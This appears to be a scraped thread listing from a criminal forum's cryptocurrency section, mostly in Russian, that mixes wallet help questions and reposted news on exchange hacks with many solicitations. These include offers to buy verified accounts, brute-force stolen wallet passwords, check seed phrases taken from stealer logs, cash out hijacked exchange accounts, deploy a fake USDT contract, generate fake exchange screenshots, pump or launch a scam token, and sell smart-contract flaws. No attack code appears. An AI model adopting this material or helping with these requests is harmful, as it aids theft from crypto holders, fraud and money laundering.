А то сейчас только из новостей приходится читать, что какой-то там протокол хакнули.
Проводил свой research, но ничего дельного не удалось найти.

BITSOFA наеб?
ID: 67686ad7b4103b69df37975d
Thread ID: 111099
Created: 2024-03-22T20:32:39+0000
Last Post: 2024-03-22T21:40:12+0000
Author: Abonent
Replies: 2 Views: 272

Всех приветствую, недавно наткнулся на рекламу данного криптокошелька. Звучало все слишком сладко: двухсторонняя безопасность, удобство, быстрый обмен и качество. Так ли это на самом деле? P. S. Ни разу не видел данный кошель раньше, если чтото знаете о нем, пишите.
Зарание спасибо за ответы!!!

Куплю готовые или возьму людей на верификацию крипто биржи Coinlist
ID: 67686ad7b4103b69df3799a7
Thread ID: 61602
Created: 2022-01-18T16:31:41+0000
Last Post: 2022-01-18T16:31:41+0000
Author: Hronos
Replies: 0 Views: 272

Всем привет !

возьму людей на верификацию УКР РФ

так же готовые аккаунты .

писать в лс @hronosokrug

Безопасен ли Electrum-LTC?
ID: 67686ad7b4103b69df37974b
Thread ID: 112434
Created: 2024-04-11T09:36:51+0000
Last Post: 2024-04-12T16:15:25+0000
Author: Zabuza
Replies: 2 Views: 271

Сабж. Проводят ли аудиты? Или лучше не рисковать и выбрать ltc core?

Will Bitcoin API provide virtual pos?
ID: 67686ad7b4103b69df3799d0
Thread ID: 58599
Created: 2021-11-07T12:33:55+0000
Last Post: 2021-11-08T23:00:02+0000
Author: Mermix
Replies: 4 Views: 271

Hello friends, can you provide instant payment virtual pos with 3d bitcoin api for my e-commerce site?

When the person pays with a credit card, I want the money to be paid to me in the form of bitcoins or other cryptocurrencies.

There is no problem in the budget, if anyone can provide such a pos, I would like to send a message from the forum.

Скрыть/отменить транзакцию в ERC-20
ID: 67686ad7b4103b69df37980f
Thread ID: 95017
Created: 2023-08-07T08:54:32+0000
Last Post: 2023-08-08T10:41:46+0000
Author: BankRoll
Replies: 2 Views: 270

День добрый коллеги.
Возможно ли в сети эфира добавить определенный адрес в "черный список"?
Т.е есть подконтрольный мне кошелек куда приходит транзакция с заранее известного мне адреса, нужно что бы ее небыло видно в езерскане, либо что бы ее вообще не могли слать с того адреса на мой кошелек. Реально ли такое реализовать?
Либо вообще отключить для кошелька любые входящие транзакции, вообще рассмотрю любые варианты

Где продать уязвимости смарт контрактов
ID: 67686ad7b4103b69df379905
Thread ID: 73311
Created: 2022-09-17T10:59:00+0000
Last Post: 2022-09-17T11:59:41+0000
Author: android_john
Replies: 2 Views: 270

Есть проект, где есть уязвимость, способ угнать часть средств из-ща ошибки в логике одного из смарт контрактов этого проекта.
Где можно продать такую уязвимость?
Есть ли люди скупающие уязвимости?
Говорю о проектах без баг баунти.
Они кроме как "спасибо" баг хантеру ничего не дают...

Вопрос help
ID: 67686ad7b4103b69df379982
Thread ID: 64505
Created: 2022-03-19T20:19:21+0000
Last Post: 2022-04-06T07:18:41+0000
Author: j0mbrade
Replies: 7 Views: 269

Как конвертировать одну крипту в другую, при этом не имея на счете bnb

IMG_20220319_230323_020.jpg

Matrix NFT
ID: 67686ad7b4103b69df3799ba
Thread ID: 59628
Created: 2021-12-03T14:51:11+0000
Last Post: 2021-12-09T18:58:41+0000
Author: хакорион
Replies: 2 Views: 269

Кто-нибудь покупал nft Matrix, если да, то что вы о ней думаете?

Вывод API ключей трейдом
ID: 67686ad7b4103b69df379681
Thread ID: 127738
Created: 2024-11-27T17:26:40+0000
Last Post: 2024-11-27T21:36:53+0000
Author: Qwertzx
Replies: 1 Views: 268

Привет всем!
Нужна консультация человека, который занимался/занимается выводом API в текущий момент.
Отпиши мне в ЛС, пожалуйста

Problem with my electrum wallet
ID: 67686ad7b4103b69df3797f5
Thread ID: 90931
Created: 2023-06-20T04:09:46+0000
Last Post: 2023-08-29T12:58:59+0000
Author: La_madrina
Replies: 1 Views: 268

Hi all ! I have this problem with my Electrum wallet.

here is the error message: The server returned an error when broadcasting the transaction.
Consider trying to connect to a different server, or updating Electrum.
Unknown error

Here is the screenshot

![prnt.sc](/proxy.php?image=https%3A%2F%2Fimg001.prntscr.com%2Ffile%2Fimg001%2F7jkJ_QBEQC- pGiVI_oJjiw.png&hash=ef2dd6475b9991080b0ea60c02952b29&return_error=1)

Screenshot

Captured with Lightshot

prnt.sc prnt.sc

For anyone with a solution, please contact me via telegram, You will have a percentage after solving the problem.

My Telegram: https://t.me/RosterBin

Thanks

Best Crypto Exchanges
ID: 67686ad7b4103b69df3799c1
Thread ID: 59126
Created: 2021-11-22T00:08:20+0000
Last Post: 2021-11-30T21:02:59+0000
Author: 222
Replies: 2 Views: 268

What is everybody's favorite crypto currency exchange?

Контракт ЕVM
ID: 67686ad7b4103b69df379683
Thread ID: 127685
Created: 2024-11-27T03:02:04+0000
Last Post: 2024-11-27T05:16:41+0000
Author: Sotka
Replies: 1 Views: 267

Доброго времени суток, есть ли люди тут которые смогут сделать фейковый контракт USDT BEP20 BNB Smart Chain?

Там открытый код контракта, можно его задеплоить, единственное, что он вряд ли будет отображаться в Trust Wallet и в других кошельках без специального листинга. Как сделать листинг, к сожалению мы не знаем, нам нужно сделать вместе с листингом или мы ошибаемся?

Оплата, согласны на гаранта.

Продам BTC в сети Fantom
ID: 67686ad7b4103b69df37975a
Thread ID: 111417
Created: 2024-03-27T10:07:49+0000
Last Post: 2024-03-27T10:07:49+0000
Author: Lverba
Replies: 0 Views: 267

Spoiler: Закрыто на депозит

1btc = 5000$
На обьёме можем делать скидку
Контакт :shdoc_q в телеграмме

Кто знает какие нибудь генераторы фейк скриншотов для криптобирж, подскажите. Благодарность!
ID: 67686ad7b4103b69df37965f
Thread ID: 129240
Created: 2024-12-18T17:22:55+0000
Last Post: 2024-12-20T12:25:07+0000
Author: percent
Replies: 1 Views: 266

Привет, думаю многим будет полезно, я уверен что тут есть умные люди которые знают какие нибудь сервисы в ТГ или еще где то по генерации скриншотов в криптобиржах?
Например скриншоты о плюсовой позиции, или выводу денег.
Буду очень благодарен за инфо + вам будет сопутствовать удача до конца года!

Crypto trading bot - хранение приватной информации [вопрос]
ID: 67686ad7b4103b69df37973f
Thread ID: 113310
Created: 2024-04-25T15:33:16+0000
Last Post: 2024-04-25T17:26:54+0000
Author: fantaser
Replies: 1 Views: 266

Уважаемые кодеры, подтолкните в нужном направлении.
Брал заказ на ТГ бота в модном сейчас блокчейне, но заказчик спрыгнул после того как узнал что сидки пусть и хэшем будут хранииться в БД.

Вопрос : есть ли способ НЕ хранить приватную информацию, для работы с TON?

Monero
ID: 67686ad7b4103b69df3798e5
Thread ID: 76098
Created: 2022-11-17T20:37:55+0000
Last Post: 2022-11-17T20:37:55+0000
Author: deniska
Replies: 0 Views: 266

Всем доброго времени суток! Кто может сказать про плюсы и минусы сабжа? Желательно с пруфами

Библиотека биткоина
ID: 67686ad7b4103b69df3798f4
Thread ID: 74388
Created: 2022-10-15T23:29:53+0000
Last Post: 2022-10-16T14:23:18+0000
Author: fusion911
Replies: 5 Views: 266

хай . можете пожалуйста посоветовать библиотеку по работе с битком? задача генерировать множество адресов для одного приватного ключа

Ищу спецов по смарт контрактам
ID: 67686ad7b4103b69df3797af
Thread ID: 105508
Created: 2024-01-10T18:06:06+0000
Last Post: 2024-01-13T07:09:55+0000
Author: chukkyangel
Replies: 1 Views: 265

Ищу разрабов смарт контрактов и токенов .

Отписать в Лс

Ищу отработанные кошельки
ID: 67686ad7b4103b69df37982f
Thread ID: 91330
Created: 2023-06-25T14:28:53+0000
Last Post: 2023-06-28T22:05:58+0000
Author: вавилонец
Replies: 1 Views: 265

Для теста темы приму в дар или под % отработанные seed фразы, без баланса. Нужны для распределённого наполнения контракта £. Для старта необходимо 10кк кошельков.

Формула стоимости актива. Спрос/предложение?
ID: 67686ad7b4103b69df379970
Thread ID: 62494
Created: 2022-02-04T17:14:52+0000
Last Post: 2022-04-28T00:54:51+0000
Author: T3atral
Replies: 4 Views: 265

Привет всем. Хочу пампнуть свой токен. При учете того, что основное количество находится в моих руках, хочу сделать это ювелирно) подскажите, есть какая то формула, по которой можно рассчитать соотношение сделок на продажу и покупку, конечная цифра которой будет представлять собой точную стоимость моего токена

Looking who can withdraw OKX through Terminal / API through trade!
ID: 67686ad7b4103b69df379754
Thread ID: 111440
Created: 2024-03-27T15:06:14+0000
Last Post: 2024-04-03T14:59:32+0000
Author: alicejefferson
Replies: 1 Views: 264

Have 50k spot, 60k futures in OKX linked to Bitsgap terminal.

Looking who is capable to withdraw through trade!

PM or leave contacts.

Подбор паролей Metamask,Blockchain,Ronin,Exodus,Electrum...
ID: 67686ad7b4103b69df379867
Thread ID: 86955
Created: 2023-04-29T21:29:50+0000
Last Post: 2023-04-29T21:29:50+0000
Author: Frank0800
Replies: 0 Views: 262

Берусь за то, что не удалось сбрутить другим
Паблик логи и облака не беру
Перед отправкой лога кидайте адрес

Осваиваем Биткойн (Антопулус А.М., Хардинг Д.А.)
ID: 67686ad7b4103b69df37966a
Thread ID: 128831
Created: 2024-12-12T17:12:58+0000
Last Post: 2024-12-12T17:21:57+0000
Author: xxxadam
Prefix: Мануал/Книга
Replies: 1 Views: 261

Выкладываю по большому счету для новичков и тех кто хочет подтянуть матчасть в области блокчейна. Хотя, возможно, кто-то еще сможет узнать для себя что-то новое. Чтиво максимально подробное, лучше лично я не видел.
Всех тех кто по вашему мнению задает тупые вопросы про биток и его составляющие - смело отправляйте сюда 🙂

**

https://21ideas.org/epubs/mastering-bitcoin-3e.pdf

**

раздача NFT от MOBOX
ID: 67686ad7b4103b69df3799c0
Thread ID: 59538
Created: 2021-12-01T08:08:51+0000
Last Post: 2021-12-01T08:08:51+0000
Author: Джон Иванов
Replies: 0 Views: 260

MOBOX раздает бесплатно свои боксы с NFT. Механизм обычной лотереи.
Открываешь бокс - получаешь NFT стоимостью от 60$ до 15 000$.
Продать их потом можно на самом маркетплейсе MOBOX.

Раздача длится 6 дней, раздают 5000 боксов.

Инструкция:
нужно зарегистрироваться на Binance и скачать мобильное приложение
1. Открываем приложение Binance, тянем экран вниз видим надпись marketplace и выбираем Mobox Games.
2. Логинимся.
3. Жмём Вперёд и получаем Аватар.
4. Жмём Билеты.
5. Указываем ID своего друга, пример ниже на фото

друзья подскажите где махуть биток на вебмани
ID: 67686ad7b4103b69df3799c8
Thread ID: 58916
Created: 2021-11-15T17:50:33+0000
Last Post: 2021-11-22T14:45:31+0000
Author: DePo
Replies: 6 Views: 260

коллеги надо 10 долл на вебмани кошелек, формальный, вообщем самый обычный, подскажите где за биток его можно пополнить на 10 долл? внутри самого кошелка невозможно, доки типо надо, чтоб обменять на бирже на обменниках тоже самое менять не захочешь)) подскажите где тупо закинуть на биток и получить на вмз эти копеки , большие суммы ненужны там, для разовой оплаты только нужна эта сумма

Профессиональный криптовалютный обменник на любой домен
ID: 67686ad7b4103b69df3797fd
Thread ID: 96579
Created: 2023-08-26T04:06:27+0000
Last Post: 2023-08-26T04:06:27+0000
Author: Knew100
Prefix: Статья
Replies: 0 Views: 257

LocalCoins - профессиональное решение P2P Crypto Exchange на PHP Laravel

Поставляется с мульти языковыми функциями с автоматическими платёжными шлюзами
Безопасная платформа с отзывами о сделке, продумана система гаранта, диспутов, рефералок, KYC верификации

Создать рекламу покупки/продажи
Управление рекламой
Управление торговлей

Управление кошельком
2FA Security
Управление депозитами
Управление криптовалютами, фиатными валютами

С лёгкостью создавайте свой анонимный обменник в Tor

Работает на CoinPayment, обменивается крипта поддерживаемая биржой
Fiat Currency Rate Api Key https://currencylayer.com/ 100 запросов бесплатно, далее 15$.
Cryptocurrency Rate Api Key https://coinmarketcap.com/

Api не подключал, вроде не обязательные...нужны для дополнительных функций в реальном времени
Всю основную обменную работу выполняет https://www.coinpayments.net/

http://anonissfireenterfdks2u53jqevumbu6hjm35ioorsa7eq5bsjlucad.onion/do.php?filename=32569af14c1251a2cbaec91.xz

Создание скамтокена
ID: 67686ad7b4103b69df37983e
Thread ID: 90268
Created: 2023-06-12T07:34:38+0000
Last Post: 2023-06-16T07:13:12+0000
Author: 13грехов
Replies: 1 Views: 257

Нужна небольшая информация по выпуску своего токена. Почти во всём разобрался есть пару подводных камней.

Buy btc with credit card
ID: 67686ad7b4103b69df379811
Thread ID: 94945
Created: 2023-08-06T14:11:41+0000
Last Post: 2023-08-06T15:52:41+0000
Author: KuzeyBozok
Replies: 1 Views: 255

is there a site where I can buy btc with credit card. And a site that can send the btc instantly. kyc not asking for confirmation

Установка нод(начинающий)
ID: 67686ad7b4103b69df3799bc
Thread ID: 59697
Created: 2021-12-05T00:24:53+0000
Last Post: 2021-12-05T07:39:23+0000
Author: PuzzieCream
Replies: 1 Views: 255

Здарова парни и девчата нашёл давно такую тему с установкой нод(тестнетах) в сетях.
Кто занимался таким поделитесь своим опытом?
Хочу купить дедик поставить ноду и хоть что то заработать это вообще возможно?

BNB, USDT
ID: 67686ad7b4103b69df3799b2
Thread ID: 60733
Created: 2021-12-31T23:50:21+0000
Last Post: 2021-12-31T23:50:21+0000
Author: Ghostmela
Replies: 0 Views: 254

Greetings to everyone .. Can someone help me with regex to detect BNB and USDT wallet addresses using c#

Вывод BUSD (BEB20) с TrustWallet
ID: 67686ad7b4103b69df379912
Thread ID: 72303
Created: 2022-08-27T15:06:35+0000
Last Post: 2022-08-27T16:06:13+0000
Author: Morrigan
Replies: 3 Views: 253

Всем привет. Клиент оплатил монеткой из названия, когда начал выводить - столкнулся с проблемой, знатоки криптомира подскажите как проблему решить пожалуйста =)
При выводе на другой BUSD кошелек или конвертации BUSD в BNB внутри траста он мне пишет ошибку (У вас недостаточно BNB Smart Chain для покрытия сетевых сборов). Причем просит какие-то 0,00038336 bnb, можно ли как-то обойти это? Я попробовал на бинансе купить BNB, но там предлагают купить ОТ одного bnb, что стоит 17к, не очень хочется проводить такие операции из-за комиссии в 10 центов.

Solana Exploits?
ID: 67686ad7b4103b69df379980
Thread ID: 65275
Created: 2022-04-06T07:11:19+0000
Last Post: 2022-04-07T15:43:03+0000
Author: lildvrkie
Replies: 1 Views: 252

Anyone working on this?

Global Crypto Exchange’s ‘Bank Level Security’ Allegedly a Myth Following Unresolved Hacks
ID: 67686ad7b4103b69df3798af
Thread ID: 81103
Created: 2023-02-02T09:43:08+0000
Last Post: 2023-02-02T09:43:08+0000
Author: stgpp0r5
Replies: 0 Views: 251

_Following a rough year in 2022, the crypto sphere has seen another of

its juggernauts run into trouble with the law. Global crypto exchangeCoinbase has come under fire for publicising that it has ‘bank level security’, while its customers’ accounts were reportedly hacked and looted. We hear from the legal team taking action against Coinbase as well as industry experts on trust in crypto exchanges and the ‘correct’ response to a hack. _​

Generating trust in crypto

Following the high of November 2021, when Bitcoin reached its highest value to date (~$68,000), cryptocurrencies have been on a downward trajectory. Though we’ve seen glimpses of hope it has remained on a negative trend. Yet, despite the debacles ofTerra and FTX , alongside reports of hacks, crypto adoption continues. In fact, according to MerchantMachine , crypto use is set to [increase by 14.9 per cent](https://thefintechtimes.com/state-of- crypto-in-2030-predicted-by-merchant-machine-in-cryptocurrency-global- adoption-findings/) across the world by 2030.

With its popularity ever growing, users must feel like they can trust cryptocurrencies, and notably, the exchanges in which their assets reside. However, it is difficult to do this when reputable names in the space, like [Binance , Poly Network](https://www.investopedia.com/news/largest- cryptocurrency-hacks-so-far- year/#:~:text=In%20one%20of%20the%20most,of%202%20million%20BNB%20tokens.) and [Axie Infinity](https://thefintechtimes.com/will-the-record-breaking-axie- infinity-heist-hamper-public-trust-in-nfts-industry-responds/), have all suffered incredibly large, impactful hacks in the year. The latest to be added to the list is Coinbase.

Coinbase lawsuit filed

According to a new lawsuit filed against Coinbase, three individual parties were locked out of their accounts for no reason. When they tried to seek help from Coinbase, they were redirected from one complaint screen to another, without being able to speak to anyone. The parties claim their accounts were taken over by hackers leading to a combined amount lost between the parties amounting to over $214,000. These claims [were reported in Bloomberg](https://www.bloomberg.com/news/articles/2022-08-24/hacked-coinbase- user-blasts-help-desk-s-impenetrable-screens?leadSource=uverify%20wall) but have not been confirmed by Coinbase to The Fintech Times.

This purported hack follows an incident in 2021 when Coinbase[ admitted that hackers stole from the accounts of at least 6,000 customers](https://www.reuters.com/business/finance/coinbase-says-hackers- stole-cryptocurrency-least-6000-customers-2021-10-01/).

Attorney Matt Borden said: “The plaintiffs represent a bigger group of people who have been victimised by arbitration clauses which have meant they couldn’t take the crypto exchange to court. It’s not just a one-off type of hack. People are starting to come out of the woodwork to share their similar experiences.”

Legal sources have suggested two separate cases have been filed:

One of the plaintiffs’ attorneys spoke to The Fintech Times about two solutions to the injunction. These would involve either removing the alleged false advertising of ‘bank-level security’ OR improving the security systems so the statements are true.

He went into further reasoning behind the class action too. Under US law, if a bank account got hacked, it would be the bank’s responsibility to make the victim whole. Due to Coinbase’s standing as a financial institution, he and the prosecutors believe it should abide by the same law, and in turn return the value of the assets.

We reached out to Coinbase for a comment on the lawsuit but have not received a response.

Crypto trust at risk

The long-term impact of this won’t be damaging to cryptocurrencies as much as it will be damaging to Coinbase’s image. Those who are still interested in crypto will likely go to another exchange, one that can ensure their assets are protected. However, it is possible that had there been better communication and dedication to resolve the issues from Coinbase following the alleged hacks, there may not have been a lawsuit.

So what is the appropriate response to a hack?

**Clear communication between exchange and all (impacted or not)

customers** ​

Bradley Dizik , executive vice president, emerging issues + technology at Guidepost Solutions , a global security, compliance and investigations consultancy, said: “The best practice for incident response is to immediately diagnose the extent of the cyber intrusion, investigate any potential losses, and immediately execute controls to best mitigate further losses.

“The exchange should provide all its customers, not just the ones impacted, with a letter notifying them of a breach and then make a public commitment to conduct a risk assessment of its information security controls, immediately executing on a risk remediation plan that addresses all the severe, and medium risks for information security vulnerabilities.

“The exchange should also commit to implementing an information security control environment that complies with a known security framework such as ISO 27000, NIST, or another framework and even go as far as seeking a certification. Finally, the exchange should go through an assessment to ensure compliance with relevant regulations such as those applying to exchanges registered by the New York Department of Financial Services.”

The root cause

Max Galka , CEO and founder of Elementus , an organisation helping others leverage the power of blockchain, said: “First, research the root cause of the hack and do what’s necessary to safeguard customer assets. Also, be transparent with customers and communicate the severity of the hack and any additional steps that can be taken to safeguard customer funds (e.g., what’s a call to action for your customers).

“Researching the root cause of a hack involves the ability to analyse blockchain data and often make sense of extremely complicated transaction flows. Hackers attempt to obfuscate this chain of events, so it requires expertise and sophisticated tooling. Working with a company that has this blockchain data and investigations expertise is critical.”

The same level of trust as banks

Understandably, when large sums of money or life savings are involved, customers want to ensure their assets are kept safe at all costs. Recently, due to the rise of fintechs, customers are starting to trust placing their funds in financial entities other than banks. Look at neobanks for example. [According to Statista](https://www.statista.com/statistics/1270406/neobank-account- holders-us/), there are 24.9 million accounts in the US alone with predictions suggesting this number will grow to 39.1 million by 2025.

With this in mind, it is no surprise users are starting to have more trust in crypto. Especially as, [Blockware Intelligence](https://cointelegraph.com/news/global-bitcoin-adoption-to- hit-10-by-2030-blockware-report) predicted that Bitcoin adoption alone will hit 10 per cent worldwide by 2030.

But should exchanges have the same level of trust as a bank? In short, the answer from the industry is ‘no’.

Spencer Soloway , VP of marketing from Horizen Lab , a blockchain company, elaborated saying: “At the end of the day, crypto exchanges, whether centralised or decentralised, aren’t banks. While consumers should feel comfortable purchasing crypto from reputable exchanges, they don’t afford users FDIC protection, and people should understand the risks involved.

“The by now age-old maxim is ‘not your keys, not your coins’. While it is understandable that self-custody can be a confusing topic (and comes with its own set of risks), I would suggest users seriously consider and learn about the options available!”

Source: [https://thefintechtimes.com/global-...-allegedly-a-myth-following- unresolved-hacks/](https://thefintechtimes.com/global-crypto-exchanges-bank- level-security-allegedly-a-myth-following-unresolved-hacks/)

Вышел electrum 4.3.0
ID: 67686ad7b4103b69df379918
Thread ID: 71258
Created: 2022-08-07T03:46:53+0000
Last Post: 2022-08-18T11:58:32+0000
Author: peacemaker
Replies: 1 Views: 250

Вышел electrum 4.3.0
В основном все обновления связаны с lightning

Список обновлений

github.com

[ electrum/RELEASE-NOTES at master · spesmilo/electrum

](https://github.com/spesmilo/electrum/blob/master/RELEASE-NOTES)

Electrum Bitcoin Wallet. Contribute to spesmilo/electrum development by creating an account on GitHub.

github.com github.com

Скачать

Electrum Bitcoin Wallet

Electrum Bitcoin Wallet.

electrum.org electrum.org

Norway Seizes $5.84 Million in Cryptocurrency Stolen by Lazarus Hackers
ID: 67686ad7b4103b69df37989e
Thread ID: 82451
Created: 2023-02-21T11:39:14+0000
Last Post: 2023-02-21T11:39:14+0000
Author: stgpp0r5
Replies: 0 Views: 249

Norwegian police agency Økokrim has announced the seizure of 60 million NOK (about $5.84 million) worth of cryptocurrency stolen by the Lazarus Group in March 2022 following the Axie Infinity Ronin Bridge hack.

"This case shows that we also have a great capacity to follow the money on the blockchain, even if the criminals use advanced methods," the Oslo-based crime- fighting unit [said](https://www.okokrim.no/rekordhoegt-kryptobeslag-i-axie- saka.6585492-549344.html) in a statement.

The development comes more than 10 months after the U.S. Treasury Department [implicated](https://thehackernews.com/2022/04/lazarus-hackers- behind-540-million-axie.html) the North Korea-backed hacking group for the theft of $620 million from the Ronin cross-chain bridge.

Then in September 2022, the U.S. government [announced](https://thehackernews.com/2022/09/us-seizes-cryptocurrency- worth-30.html) the recovery of more than $30 million worth of cryptocurrency, representing 10% of the stolen funds.

Økokrim said it worked with international law enforcement partners to pursue and piece together the money trail, thereby making it more difficult for criminal actors to carry out money laundering activities.

"This is money that can support North Korea and their nuclear weapons programme," it further added. "It has therefore been important to track the cryptocurrency and try to stop the money when they try to withdraw it in physical assets."

The confiscation comes as crypto exchanges Binance and Huobi froze accounts containing approximately $1.4 million in digital currency that originated from the June 2022 hack of [Harmony's Horizon Bridge](https://thehackernews.com/2022/06/north-korean-hackers-suspected-to- be.html).

The attack, also [blamed on the Lazarus Group](https://thehackernews.com/2023/01/fbi-says-north-korean-hackers- behind.html), enabled the threat actors to launder some of the proceeds through Tornado Cash, which was [sanctioned](https://thehackernews.com/2022/08/us-sanctions-virtual-currency- mixer.html) by the U.S. government in August 2022.

"The stolen funds remained dormant until recently, when our investigators began to see them funneled through complex chains of transactions, to exchanges," blockchain analytics firm Elliptic [said](https://hub.elliptic.co/analysis/elliptic-collaborates-with-binance- and-huobi-to-freeze-lazarus-group-hack-proceeds/) last week.

What's more, there are indications that [Blender](https://thehackernews.com/2022/05/us-sanctions-cryptocurrency- mixer.html) – another cryptocurrency mixer that was sanctioned in May 2022 – may have resurrected as Sinbad, laundering nearly $100 million in Bitcoin from hacks attributed to the Lazarus Group, Elliptic's Tom Robinson told The Hacker News.

According to the [company](https://hub.elliptic.co/analysis/has-a-sanctioned- bitcoin-mixer-been-resurrected-to-aid-north-korea-s-lazarus-group/), funds siphoned in the wake of the Horizon Bridge heist were "laundered through a complex series of transactions involving exchanges, cross-chain bridges and mixers."

"Tornado Cash was used once again, but in place of Blender, another Bitcoin mixer was used: Sinbad."

Although the service launched only in early October 2022, it is estimated to have facilitated tens of millions of dollars from Horizon and other North Korea-linked hacks.

In the two-month period ranging from December 2022 to January 2023, the nation-state group has sent a total of 1,429.6 Bitcoin worth approximately $24.2 million to the mixer, Chainalysis [revealed](https://blog.chainalysis.com/reports/2022-biggest-year-ever-for- crypto-hacking/) earlier this month.

The evidence that Sinbad is "highly likely" a rebrand of Blender stems from overlaps in the wallet address used, their nexus to Russia, and commonalities in the way both the mixers operate.

"Analysis of blockchain transactions shows that a Bitcoin wallet used to pay individuals who promoted Sinbad, itself received Bitcoin from the suspected Blender operator wallet," Elliptic said.

"Analysis of blockchain transactions shows that almost all of the early incoming transactions to Sinbad (some $22 million) originated from the suspected Blender operator wallet."

Sinbad's creator, who goes by the alias "Mehdi," told WIRED that the service was launched in response to "growing centralization of cryptocurrency" and that it's a legitimate legitimate privacy-preserving project along the lines of Monero, Zcash, Wasabi, and Tor.

"Mixers can be used to help maintain your financial privacy, however this particular mixer has been used primarily to launder proceeds of hacks perpetrated by Lazarus Group," Robinson said.

The findings also arrive as healthcare entities are in the crosshairs of a new wave of ransomware attacks orchestrated by the Lazarus actors to generate illicit revenue for the sanctions-hit nation.

Profits made from these financially motivated attacks are used to fund other cyber activities that include spying on defense sector and defense industrial base organizations in South Korea and the U.S., per a [joint advisory](https://thehackernews.com/2023/02/north-korean-hackers- targeting.html) issued by the two countries.

But the law enforcement actions are yet to put a dampener on the threat actor's prolific attack spree, which has continued to evolve with new behaviors.

This comprises a wide range of anti-forensic techniques that are designed to erase traces of the intrusions as well as obstruct analysis, AhnLab Security Emergency response Center (ASEC) disclosed in a recent report.

"The Lazarus group performed a total of three techniques: data hiding, artifact wiping, and trail obfuscation," ASEC researchers said.

Source: [The Hacker News](https://thehackernews.com/2023/02/norway- seizes-584-million-in.html)

Cryptocurrency hardware wallet provider OneKey fixes vulnerability that allowed it to be hacked in 1 minute
ID: 67686ad7b4103b69df3798a2
Thread ID: 81903
Created: 2023-02-13T16:26:23+0000
Last Post: 2023-02-14T16:28:51+0000
Author: stgpp0r5
Replies: 1 Views: 249

Crypto hardware wallet provider OneKey says it has already addressed a vulnerability in its firmware that allowed one of its hardware wallets to be hacked in one second flat.

A video on YouTube posted on Feb. 10 by cybersecurity startup Unciphered showed they had figured out a way to exploit a “Massive critical vulnerability” that allowed them to “crack open” a OneKey Mini.

According to Eric Michaud, a partner at Unciphered, by disassembling the device and inserting coding, it was possible to return the OneKey Mini to “factory mode” and bypass the security pin, allowing a potential attacker to remove the mnemonic phrase used to recover a wallet.

“You have the CPU and the secure element. The secure element is where you keep your crypto keys. Now, normally, the communications are encrypted between the CPU, where the processing is done, and the secure element,” Michaud explained.

“Well it turns out it wasn’t engineered to do so in this case. So what you could do is put a tool in the middle that monitors the communications and intercepts them and then injects their own commands,” he said, adding: “We did that where it then tells the secure element it’s in factory mode and we can take your mnemonics out, which is your money in crypto.”

However, in a Feb. 10 statement, OneKey said it had already [addressed](https://blog.onekey.so/our-response-to-recent-security-fix- reports-13914fea8afd) the security flaw identified by Unciphered, noting that its hardware team had updated the security patch “earlier this year” without "anyone being affected” and that “All disclosed vulnerabilities have been or are being fixed.”

"That said, with password phrases and basic security practices, even physical attacks disclosed by Unciphered will not affect OneKey users."

The company further highlighted that while the vulnerability was concerning, the attack vector identified by Unciphered can’t be used remotely and requires "disassembly of the device and physical access through a dedicated FPGA device in the lab to be possible to execute."

According to OneKey, during correspondence with Unciphered, it was disclosed that other wallets have been [found to have similar issues](https://cointelegraph.com/news/8-hacker-tactics-to-be-aware-of-when- protecting-your-crypto-assets).

“We also paid Unciphered bounties to thank them for their contributions to OneKey’s security,” OneKey said.

In its blog post, OneKey has said it’s already gone to great pains to ensure the security of its users, including protecting them from [supply chain attacks](https://cointelegraph.com/news/kraken-discovers-supply-chain-attacks- against-ledger-wallets) — when a hacker replaces a genuine wallet with one controlled by them.

OneKey’s measures have included tamper-proof packaging for deliveries and the use of supply chain service providers from Apple to ensure stringent supply chain security management.

In the future, they hope to implement onboard authentication and upgrade newer hardware wallets with higher-level security components.

OneKey wrote that the main [purpose of hardware wallets](https://cointelegraph.com/news/how-do-crypto-hardware-wallet-firms- make-money) has always been to protect users’ money from malware attacks, computer viruses and other remote dangers, but unfortunately, nothing can be 100% secure.

“When we look at the entire hardware wallet manufacturing process, from silicon crystals to chip code, from firmware to software, it’s safe to say that with enough money, time and resources, any hardware barrier can be breached, even if it’s a nuclear weapon control system.”

Source: [Coinbase](https://cointelegraph.com/news/onekey-says-it-s-fixed-the- flaw-that-got-its-hardware-wallet-hacked-in-1-second)

как считают итоговый AML?
ID: 67686ad7b4103b69df37979b
Thread ID: 107239
Created: 2024-02-01T16:16:37+0000
Last Post: 2024-02-01T17:11:44+0000
Author: grupenfurer
Replies: 1 Views: 248

допустим есть у меня с разбивкой по категориям данные, как общий процент посчитать? калькулятор или формула какая то есть?
1%
Enforcement Action
0.7%
Sanctions
0.3%
81.1%
Exchange Unlicensed
73.6%
P2P Exchange Unlicensed
7.5%
18%
Exchange Licensed
16.3%
Miner
0.9%
Payment Processor
0.7%
Online Wallet

вот как отсюда общий 60.5% получается?

Seed phrase|Private keys где можно чекнуть
ID: 67686ad7b4103b69df379882
Thread ID: 84633
Created: 2023-03-27T18:40:35+0000
Last Post: 2023-03-27T18:47:18+0000
Author: Cracow
Replies: 2 Views: 247

спарсил с логов такиую инфу Seed phrase и Private keys.
подскажет кто софты где можно проверить валидность их, так же может есть люди которые отрабатывают их?

Безопасность MetaMask
ID: 67686ad7b4103b69df379886
Thread ID: 84231
Created: 2023-03-21T14:22:08+0000
Last Post: 2023-03-21T14:43:58+0000
Author: T3atral
Replies: 5 Views: 247

Del

which will be the best bitcoin wallet by transfer money online?
ID: 67686ad7b4103b69df37991c
Thread ID: 71257
Created: 2022-08-07T03:27:04+0000
Last Post: 2022-08-12T11:55:07+0000
Author: sommerdev
Replies: 5 Views: 247

Hello guys I am wondering which would be the best option of bitcoin wallet in 2022 , let me explain what I want to do? I got 100 USD in bitcoin and I would like transfer my money to my bank account , which are the best option nowadays? , I had seen : blockchain, Coinbase , I would not like to do this transfer from bitcoin to my bank account without my personal info or i should have to fill in my personal info it will be okay but i would like one wallet secure and safe online, what would you recommend bitcoin wallet private, anonymous and safe?
than you for you help guys.

Где искать смарт-контракты, содержащие потенциальные уязвимости?
ID: 67686ad7b4103b69df37993a
Thread ID: 70405
Created: 2022-07-20T16:04:05+0000
Last Post: 2022-07-20T19:40:28+0000
Author: madheller404
Replies: 3 Views: 247

Не так давно стал погружаться в тему умных контрактов и эксплуатации их уязвимостей. Интересует, где могут водиться уязвимые контракты (не CTF, а реальная жизнь).

2Fa Removal for Crypto Wallets/Exchange/Brokers
ID: 67686ad7b4103b69df3799cb
Thread ID: 58959
Created: 2021-11-17T18:43:54+0000
Last Post: 2021-11-19T16:52:36+0000
Author: AK-74M
Replies: 1 Views: 247

